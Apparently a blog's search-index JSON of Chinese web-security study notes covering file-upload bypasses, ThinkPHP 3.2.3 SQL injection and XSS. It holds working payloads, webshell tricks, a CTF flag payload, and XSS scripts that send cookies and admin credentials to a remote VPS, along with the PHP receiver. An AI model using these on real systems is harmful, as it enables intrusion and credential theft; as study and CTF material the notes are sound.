pertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。\n启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config,则可以在服务器配置文件中按以下方法配置:AccessFileName.config。\n它里面有这样一段代码:AllowOverride None,把None改成All\n常见的配法有以下几种:\nSethandler application/x-httpd-phpAddHandler php5-script .jpgAddType application/x-httpd-php .jpg\n\nSethandler将该目录及子目录的所有文件均映射为php文件类型\nAddhandler使用php5-script处理器来解析所匹配到的文件\nAddType将特定拓展名文件映射php文件类型\n\n举例:\n<FilesMatch "jpeg">SetHandler application/x-httpd-php</FilesMatch>\n\n他会将后缀名为jpg的文件当作php文件解析\n或者.htaccess写成\nAddType application/x-httpd-php jpg\n\n以php解析.htaccess文件所在目录及其子目录中的后缀为.xxx的文件\n\n\n.user.ini\n\nphp的配置文件,.user.ini中的字段也会被php视为配置文件来处理,从而导致php的文件解析漏洞。但是想要引发.user.ini解析漏洞需要三个前提条件\n\n服务器脚本语言为PHP\n服务器使用CGI/FastCGI模式\n上传目录下要有可执行的php文件\n\n创建一个.user.ini文件\nauto_prepend_file=shell.jpg\n\n意思是:所有的php文件都自动包含mm.jpg文件 \n\n执行运算符\n\nPHP将尝试将反引号中的内容作为shell命令来执行,使用反引号运算符的效果与函数shell_exec()相同\n<?=`tac ../f*`?>\n\n\n补充\n\n\n绕过姿势\n\n<script language="php">echo'1';</script>\n\n\n先访问一个地址,UA头改为后门代码,后门代码就会进入到日志里面,再利用.user.ini包含日志文件来触发访问UA头里的后门代码\n\n<?=include"/var/lo"."g/nginx/access/lo"."g"?>\n\n\n.user.ini包含远程png\npng include带有后门代码的远程地址\n\nIP转数字\n在浏览器中访问http://192.168.1.1与 http://3232235777是相同的效果\n\n.user.ini:auto_prepend_file=pngpng:<?=include'http://3232235777'>\n\n条件竞争\n遇到文件删除时有两种情况\n\n什么都删除\n上传成功后,没有删除之前,文件会在这个时间段存活,然后代码立马删掉,这个时间点文件确实是上传成功了,只是快速的让你看不到而已,所以我们就在没有上传之前就不断发包,一直访问地址,当文件被创建后,就触发代码,让它创建一个文件\n\n后门代码删除\n\n\n条件竞争:在上传成功,立马访问,创建新代码(代码被执行后重新新建一个文件)\n\n二次渲染\n把上传的图像进行了加工,手工注入需要把后门代码写到共同体中去\n文件上传之二次渲染绕过\n\n二次渲染判定\n判断上传前后大小及内容\n判断上传后的文件返回数据包\n\n\n\n\nctfshow Web164中满足了PHP文件引入图片\nxxx.php?image=yyy.png\n\n假如是类似于upload/yyy.png,图片中即使带有后门代码也不能被调用,还需上传.user.ini\n\n如果是JPG,访问返回包,发现gd-jpeg v1.0 (using IJG JPEG v80),即调用PHP内置的库来处理JPG进行二次渲染\n\n\n\nPHP一句话木马,后缀.php→上传成功,直接利用\n后缀是.jpg图片文件,无法直接利用\n后缀是.jpg图片文件+文件包含→上传成功,直接利用\n\n中间件解析&编辑器安全\nIIS和Apache漏洞举例前文已提,此处不再赘述\nNginx文件名逻辑漏洞\nVulhub\nVulnhub\n\n黑盒\n\n寻找一切存在文件上传的功能应用\n\n个人用户中心是否存在文件上传功能\n后台管理系统是否存在文件上传功能\n字典目录扫描探针文件上传构造地址\n字典目录扫描探针编辑器目录构造地址\n\n\n白盒\n\n看三点:中间件、编辑器、功能代码\n\n中间件直接看语言环境常见搭配\n编辑器直接看目录结构或搜索关键字\n功能代码直接看源码应用或搜索关键字\n\n","tags":["小迪"]},{"title":"ThinkPHP框架分析","url":"/2024/05/17/ThinkPHP%E6%A1%86%E6%9E%B6%E5%88%86%E6%9E%90/","content":"ThinkPHP框架分析MVC和三层结构的认识MVC是一种开发模式,三层结构是一种开发习惯,严格来讲是完全不同的概念,但是实际中有各种联系:\nMVC是一种将视图、控制、数据三者分开的一种开发模式:\n\n\n\n简写\n全称\n工作\n\n\n\nM\nModel(模型)\n编写Model类,负责数据的操作\n\n\nV\nView(视图)\n编写HTML文件,负责前台页面显示\n\n\nC\nController(控制器)\n编写类文件,IndexController.class.php\n\n\nThinkPHP3.2.3-Doc\n下文均以ThinkPHP3.2.3举例\n核心文件\n项目目录\n\n├─ThinkPHP 框架系统目录│ ├─Common 核心公共函数目录│**├─Conf 核心配置目录 │ ├─Lang 核心语言包目录│**├─Library 框架类库目录│ │ ├─Think 核心Think类库包目录│ │ │ ├─Db │ │ │ │**├─Driver.class.php 数据条件分析,各种操作数据库│ │ │**├─Model.class.php 连贯操作│ │ ├─Behavior 行为类库目录│ │ ├─Org Org类库包目录│ │ ├─Vendor 第三方类库目录│ │ ├─ ... 更多类库目录│ ├─Mode 框架应用模式目录│ ├─Tpl 系统模板目录│ ├─LICENSE.txt 框架授权协议文件│ ├─logo.png 框架LOGO文件│ ├─README.txt 框架README文件│ └─ThinkPHP.php 框架入口文件----------------------------------├─Application│ ├─Common 应用公共模块│ │ ├─Common 应用公共函数目录│ │ └─Conf 应用公共配置文件目录│ ├─Home 默认生成的Home模块│ │ ├─Conf 模块配置文件目录│ │ ├─Common 模块函数公共目录│**│ ├─Controller 模块控制器目录│**│ ├─Model 模块模型目录│ │ └─View 模块视图文件目录│**├─Runtime 运行时目录(可删除,运行时可再次生成)│ │ ├─Cache 模块缓存目录│ │ ├─Data 数据目录│ │ ├─Logs 日志目录│ │ └─Temp 缓存目录\n\n\n开启调试\n\nconfig.php添加语句\n'SHOW_PAGE_TRACE' =>true,\n\n\n(config.php在Application/Common/Conf目录)\n\n访问URL模式\n系统会从URL参数中解析当前请求的模块、控制器和操作:\n\n1(PATHINFO模式)\n\nhttp://serverName/index.php/模块/控制器/操作http://serverName/index.php/index/content/list\n\n\n0(普通模式)\n\nhttp://serverName/index.php?m=模块&c=控制器&a=方法名&键1=值&...http://serverName/index.php?m=index&c=content&a=list\n\n控制器ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共(public function)方法。\n<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index(){ echo 'hello,thinkphp!'; }}\n\n控制器操作A([模块/]控制器标志)实例化控制器对象\nR([模块/]控制器标志/操作方法)实例化控制器对象同时调用指定对象\n\nA方法\n\n跨控制器实例化后,再调用被实例化对象的方法\n$Test=A('User');$Test->index();\n\n\nR方法\n\n相比A方法更加简单快捷,直接调用控制器里的方法\nR('Test/index');\n\n\nAction参数绑定\n\nAction参数绑定是通过直接绑定URL地址中的变量作为操作方法的参数,Action参数绑定功能默认是开启的,其原理是把URL中的参数(不包括模块、控制器和操作名)和操作方法中的参数进行绑定\n'URL_PARAMS_BIND' => true\n\n\n官方推荐I方法\nI('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])//强转成int类型$id=I('id','1','intval');dump($id);\n\n\n请求类型\n\n\n\n\n常量\n说明\n\n\n\nIS_GET(POST、PUT、DELETE)\n判断是否是GET(POST、PUT、DELETE)方式提交\n\n\nIS_AJAX\n判断是否是AJAX提交\n\n\nREQUEST_METHOD\n当前提交类型\n\n\n\nAjax请求的时候,抓包后需在头部添加\nX-Requested-With:XMLHttpRequest\n\n\n插件控制器\n\n3.2.3版本开始,插件控制器默认和模块同级\nhttp://127.0.0.1/tp/home/info/index/addon/SystemInfo\n\n3.2.3版本中,实际访问呢的插件控制器是\nAddon/SystemInfo/Controller/InfoController.class.php\n\n插件控制器的定义如下:\n<?phpnamespace Addon\\SystemInfo\\Controller;class InfoController extends \\Think\\Controller{ public function index(){ //http://127.0.0.1/tp/index.php/模块名字/控制器名字/控制器方法/和模块同级的插件控制器名字/目录 //http://127.0.0.1/tp/index.php/Home/info/index/addon/SystemInfo phpinfo(); }}\n\nSQL注入常规注入where方法doc\n以字符串方式将条件作为where()方法的参数时会产生SQL注入\n//M('user'):实例化User对象M('user')->where('id='.I('id'))->find();\n\n提交payload\n" and 1=(updatexml(1,concat(0x3a,(user())),1))%23"\n\n如果是数组查询进入_parseType方法分析,数组的val值会被转成int\n\n进入./ThinkPHP/Library/Think/Model.class.php中调试\n\n\n数组条件\n\npublic function getUserarray(){ $User = M("User"); // 实例化User对象 $map['id'] = I('id');// 把查询条件传入查询方法 $User->where($map)->select();}\n\n//Model.class.php中protected function _parseType(&$data,$key) { if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){ $fieldType = strtolower($this->fields['_type'][$key]); if(false !== strpos($fieldType,'enum')){ // 支持ENUM类型优先检测 }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) { $data[$key] = intval($data[$key]); }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){ $data[$key] = floatval($data[$key]); }elseif(false !== strpos($fieldType,'bool')){ $data[$key] = (bool)$data[$key]; } }}\n\n强转成intval,1p被强转成1,无注入\ntable方法一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,用到table方法的场景就是切换数据表查询\nM()->table(I('tab'))->where('1=1')->find();\n\n究其原因是query方法\nfield方法field方法操作表中字段,限制查询返回的结果\nM('user')->field(array('id','username'))->select();\n\n只要field方法里的参数可控,不管是数组还是字符串,都是可以被注入的\nM('user')->field(array('id','username'=>I('name')))->select();\n\nalias、join、union方法alias方法操作表的别名,和field方法用法类似\n一般和join方法成对出现,用于对数据的连贯操作\n出现join和union方法的时候,只要能控制参数一般情况下都会产生注入\n\n\n小结:\n所有在表名之前的操作符或方法大多数都可以被注入\n\norder、group、having\norder方法\n\nM('user') ->where('1=1') ->order(array('id'=>I('orderby'))) ->select();\n\n\ngroup方法\n\n$data=M('user') ->find('max(score),username') ->group('score') ->select();dump($data);\n\n\nhaving方法\n\n$data=M('user') ->field('max(score,username') ->group('score') ->having('score>1') ->select();dump($data);\n\ncomment、index方法\ncomment\n\ncomment方法用于在生成的SQL语句中添加注释内容\n$data=M('user') ->comment(I('com')) ->where('1=1') ->find();dump($data);//payload: */ procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23\n\n\nindex\n\nindex方法用于数据集的强制索引操作,对查询强制使用userid索引,userid必须是数据表实际创建的索引名称\n//".\\ThinkPHP\\Library\\Think\\Db\\Driver.class.php"中内部方法名写为force,外部方法还是index,可在常量中看到//TP5.0版本中存在该漏洞(代码审计时重点关注一下)$data=M('user')->force(I('f'))->select();dump($data);//payload: ?f='userid') procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23\n\nquery、execute、聚合方法ThinkPHP仍然保留了原生的SQL查询和执行操作支持,为了满足复杂查询的需要和一些特殊的数据操作\n\nquery方法\n\n实例化一个空模型后使用query方法查询数据\n$data=M()->query('select * from thinkphp_user');dump($data);\n\n\nexecute方法\n\nexecute方法可以新增、修改、删除数据,同样也是需要实例化空模型\nM()->execute("update thinkphp_user set username='user' where id =1");\n\n\n聚合方法\n\ncount、max、min、avg、sum这5个方法注入场景类似\n$data=M('user')->count(I('parameter'));dump($data);\n\nEXP注入EXP表达式查询,支持SQL语法\nexp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新\n对于统计字段(通常指的是数字类型)的更新,系统还提供了setInc和setDec方法\n$user=M('user');$user->where('id=5')->setInc('score',3);//用户的积分加3$user->where('id=5')->setInc('score');//用户的积分加1$user->where('id=5')->setDec('score',5);//用户的积分减5$user->where('id=5')->setDec('score');//用户的积分减1\n\nAction参数注入审计的时候先查找I方法或者$_GET、$_POST等原生态的请求,从而容易忽略掉Action参数传入的变量\n\nThinkPHP5新增了INPUT函数\n\n如果带入到where方法里,表示以字符串的形式查询,也就造成了注入\npublic\\s+function\\s+[\\w_-]+\\(\\$\n\n组合注入组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string)、请求字符串查询()\n_string注入数组条件可以和字符串条件(采用_string作为查询条件)混合使用\n_query注入请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断\n$map['id'] = array('gt','100');$map['_query'] = 'status=1&score=100&_logic=or';\n\n\n代码此处附".\\Application\\Home\\Controller\\IndexController.class.php"和.\\Application\\Home\\Controller\\UserController.class.php源码\n//IndexController.class.php---<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index(){ //http://127.0.0.1/tp/index.php/home/index/index echo 'index!!!'; } public function hello(){ //http://127.0.0.1/tp/index.php/home/index/hello echo 'hello!!!'; } public function getDbUser(){ $data=M('user')->where('id=1')->select(); dump($data); } public function getUserIndexA(){ //http://127.0.0.1/tp/index.php/home/index/getUserIndexA $Test=A('User'); $Test->index(); } public function getUserHelloA(){ $hello=A('User'); $hello->hello(); } public function getUserIndexR(){ R('User/index'); } public function getUserHelloR(){ R('User/hello'); } public function getUser($id){ //http://127.0.0.1/tp/index.php/home/index/getUser/id/1 echo $id; } public function getUserI(){ //http://127.0.0.1/tp/index.php/home/index/getUserI/id/ $id=I('id','1','intval'); dump($id); } public function getUserWhere(){ //where方法 $data=M('user')->where('id='.I('id'))->find(); dump($data); } public function getUserArray(){ //用数组查询 $User = M("User"); // 实例化User对象 $map['id'] = I('id');// 把查询条件传入查询方法 $User->where($map)->select(); } public function getUserTable(){ //table方法 //创建一个空模型 M()->table(I('tab'))->where('1=1')->find(); } public function getUserField(){ //field方法 //'username'=>I('name')给username一个别名 echo "1"; M('user')->field(array('id','username'=>I('name')))->select(); } public function getUserOrder(){ //order方法 M('user')->where('1=1')->order(array('id'=>I('orderby')))->select(); } public function getUserGroup(){ //group方法 $data=M('user')->find('max(score),username')->group('score')->select(); dump($data); } public function getUserHaving(){ //having方法 $data=M('user') ->field('max(score,username') ->group('score') ->having('score>1') ->select(); dump($data); } public function getUserLimit(){ //limit方法 $data=M('user')->limit(I('limit'))->select(); dump($data); } public function getUserComment(){ //comment方法 $data=M('user')->comment(I('com'))->where('1=1')->find(); dump($data); //payload: */ procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23 } public function getUserIndex(){ //".\\ThinkPHP\\Library\\Think\\Db\\Driver.class.php"中内部方法名写为force,外部方法还是index,可在常量中看到 //TP5.0版本中存在该漏洞(代码审计时重点关注一下) $data=M('user')->force(I('f'))->select(); dump($data); //payload: ?f='userid') procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23 } public function getUserCount(){ //count方法 $data=M('user')->count(I('parameter')); dump($data); //payload: ?parameter=id) as tp_count FROM `thinkphp_user` where 1=1 and 1=(updatexml(1,concat(0x3a,user())),1)%23 } public function getUserEXP(){ $map=array(); $map['id']=$_GET['id']; $data=M('user')->where($map)->find(); dump($data); //payload: ?id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x3a,user())),1)%23 //当不用官方推荐的I方法获取外界输入的值时,就会产生安全问题 } public function getUserEXP2(){// $user=M('user');// $user->where('id=5')->setInc('score',3);//用户的积分加3// $user->where('id=5')->setInc('score');//用户的积分加1// $user->where('id=5')->setDec('score',5);//用户的积分减5// $user->where('id=5')->setDec('score');//用户的积分减1 $user=M('user'); $user->where('id=2')->setInc('score',I('num')); //payload: ?num=1 where (id=2) and 1=(updatexml(1,concat(0x3a,user())),1)%23 } public function getUserAction($id){ if (intval($id)>0){ $data=M('suer')->where('id='.$id)->select(); dump($data); } } public function getUserString(){ $user=M('user'); $map['id']=array('eq',1); $map['username']='ok'; $map['_string']='score='.I('score'); $user->where($map)->select(); //payload: ?score=0) and 1=(updatexml(1,concat(0x3a,user())),1)%23 }}?>\n\n//UserController.class.php---<?phpnamespace Home\\Controller;use Think\\Controller;class UserController extends Controller { public function index(){ echo 'User index!!!'; } public function hello(){ //http://127.0.0.1/tp/index.php/home/user/hello echo 'User hello!!!'; }}?>\n\n\nThinkPHP5详见05PHP个人博客\n\n实战:H&NCTF——ez_tpIndexController.class.php中源码:\n<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index(){ header("Content-type:text/html;charset=utf-8"); echo '装起来了'; } public function h_n(){ function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; //rewirte shell which uploaded by others, you can do more foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); //fix a bug $input = array( "Get" => $get, "Post" => $post, "Cookie" => $cookie, "File" => $files, "Header" => $header ); //deal with $pattern = "insert|update|delete|and|or|\\/\\*|\\*|\\.\\.\\/|\\.\\/|into|load_file|outfile|dumpfile|sub|hex"; $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert"; $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec"; $vpattern = explode("|", $pattern); $bool = false; foreach ($input as $k => $v) { foreach ($vpattern as $value) { foreach ($v as $kk => $vv) { if (preg_match("/$value/i", $vv)) { $bool = true; break; } } if ($bool) break; } if ($bool) break; } return $bool; } $name = I('GET.name'); $User = M("user"); if (waf()){ $this->index(); }else{ $ret = $User->field('username,age')->where(array('username'=>$name))->select(); echo var_export($ret, true); } }}\n\n\n\nWRITEUP\n\n在原版thinkphp3.2.3中,删除了think_filter过滤的exp,使得我们可以利用在ThinkPHP\\Library\\Think\\Db\\Driver.class.php中的\nif(is_array($val)) {\t... elseif('exp' == $exp ){ \t$whereStr .= $key.' '.$val[1]; } }\n\n利用exp时,需要手动添加等号,再配合union select,即可获得flag\npayload:\n/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag\n\n注意,cookie可能会匹配某些过滤,删除即可\n\n","tags":["summary"]},{"title":"09通用-XSS","url":"/2024/05/31/09%E9%80%9A%E7%94%A8-XSS/","content":"XSS在已有XSS知识上做的一些补充\n\n产生的地方\n\n\n数据交互的地方\nget、post、headers\n反馈与浏览\n富文本编辑器\n各类标签插入和自定义\n\n\n数据输出的地方\n用户资料\n关键词、标签、说明\n文件上传\n\n\n\n\n分类\n\n反射型(非持久型)\n存储型(持久型)\nDOM型\nmXSS(突变型XSS)\n\n简单来说就是本身被过滤成其他字符,但是在转发的时候重新识别转换回来了\n\n文章\nUXSS(通用型XSS)\n\n利用浏览器或者浏览器拓展漏洞来来制造产生XSS并执行代码的一种攻击类型\nCVE-2021-34506\nBV1FM4y1M7a8\n\nFlash XSS\n\nswf反编译:JPEXS Free Flash Decompiler\n可查询:ExternalInterface.call看哪里调用JS代码\n\nPDFXSS\n\nPDF编辑的时候插入动作,此时可以插入JavaScript脚本,写入恶意的XSS代码后,通过文件上传获取直链,访问后会触发\n上传到可信网站应用于钓鱼\n\nUTF-7 XSS\nMHTML XSS\nCSS XSS\nVBScript XSS\n获取Cookies:https://xss.pt/xss.php\n有一种可能:获取到的Cookies不全(比如httponly、存在session) \nkali上有beef-xss\n快速构建基于BeEF的钓鱼平台\n\n挖掘思路\n\n个人信息,留言板,评论等,多注意观察URL变化,XSS是很好防御的,加个过滤就好了\n\n补充\n\nxxx.html?参数=javascript:alert('1')\n\n以JavaScript代码执行\n<script> window.location.href='http://xxx'+document.cookie</script>\n\nwindow.location.href='':自动跳转到该网址\ndocument.cookie:获取Cookies\n<script> $('.laytable-cell-1-0-1').each(function(index,value){ if (value.innerHTML.indexOf('ctf'+'show')>-1) { window.location.href = 'http://xxx/get.php?c='+CSSMathValue.innerHTML; } });</script>\n\n\nctfshow329\n密码选项来源于laytable-cell-1-0-1这个标签\n\n针对于Cookies失效的问题,则不获取Cookies,在触发JS的时候直接得到想要的内容(利用JS获取当前页面源代码)\n<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>\n\n利用Ajax通过post传参\nXSS总结\n\nXSS后台植入Cookies&表单劫持\n\n条件:前期已取得权限\n代码中插入这段\n$up='<script src=http://远程vps地址/get.php?user='.$admin_name.'&pass='.$admin_pass.'></script>';echo $up;\n\n而远程vps的get.php中写入\n<?php $u=$_GET['user'];\t$p=$_GET['pass'];\t$myfile=fopen("newfile.txt","w+");\tfwrite($myfile,$u);\tfwrite($myfile,'|');\tfwrite($myfile,$p);\tfwrite($myfile,'\\n');\tfclose($myfile);?>\n\n达到权限维持\n\n制作自解压,然后利用XSS\n\n\n\n\n\n还可以使用Restorator修改图标,还有做免杀\n\n第2次执行这个压缩包时,前一次解压出来的木马已经存在,所以解压前运行木马文件可以正常上线\n\n\n绕过&防护\n\n\n过滤一些危险字符,转义&、<、>、"、'等危险字符\n自定义过滤函数引用\n\nHTTP-only Cookie\nphp设置httponly\nphp.ini设置或代码引用\nsession.cookie_httponly=1ini_set("session.cookie_httponly",1)\n\n设置CSP(Content Security Policy)\nhttp://t.csdnimg.cn/CBYJQ\nheader("Content-Security-Policy:img-src 'self' ");//只允许加载本地源图片\n\n输入内容长度限制、实体转义等\n\n\n","tags":["小迪"]},{"title":"10通用-CSRF&SSRF","url":"/2024/06/01/10%E9%80%9A%E7%94%A8-CSRF-SSRF/","content":"CSRF&SSRF在已有CSRF&SSRF知识上做的一些补充\nCSRF\n黑盒如何判断:\n\n\n看来源(同源策略)\n\nReferer头\n\n如果直接访问目标网址访问成功,即来源为空,则没有同源策略\n\n看凭据有无token\n\n看关键操作有无验证\n\n\n\n白盒审计:\n直接复现有没有\n成功→有漏洞\n失败→代码→缺陷过滤(绕过)→有漏洞\n失败→代码→完整过滤→没有漏洞\n\n\nSSRF\n可能出现的地方\n\n\n社交分享功能:获取超链接的标题等内容进行显示\n\n转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览\n\n在线翻译:给网址翻译对应网页的内容\n\n图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片\n\n图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用户体验\n\n云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可进行SSRF测试\n\n网站采集、网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作\n\n数据库内置功能:数据库的比如MongoDB的copyDatabase函数\n\n邮件系统:比如接收邮件服务器地址\n\n编码处理、属性信息处理、文件处理:比如ffmpeg、ImageMagick、docx、PDF、xml处理器等\n\n未公开的api实现以及其他拓展调用URL的功能:可以利用Google语法加上这些关键字取寻找SSRF漏洞\n一些URL中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain……\n\n从远程服务器请求资源(upload from url如discuz!;import & expost rss feed如web blog;使用了xml引擎对象的地方,如wordpress xmlrpc.php)\n\n\n参考文章\n\n搭配Metasploit打内网\n\nSSRF可能出现的地方:\n功能点抓包指向代码块审计\n功能点函数定位代码块审计\n\n修复:\n\n\n\n禁用跳转\n禁用不需要的协议\n固定或限制资源地址\n错误信息统一信息处理\n\n","tags":["小迪"]}] \ No newline at end of file diff --git "a/tags/\345\260\217\350\277\252/index.html" "b/tags/\345\260\217\350\277\252/index.html" index 6b19592..1f57274 100644 --- "a/tags/\345\260\217\350\277\252/index.html" +++ "b/tags/\345\260\217\350\277\252/index.html" @@ -228,6 +228,13 @@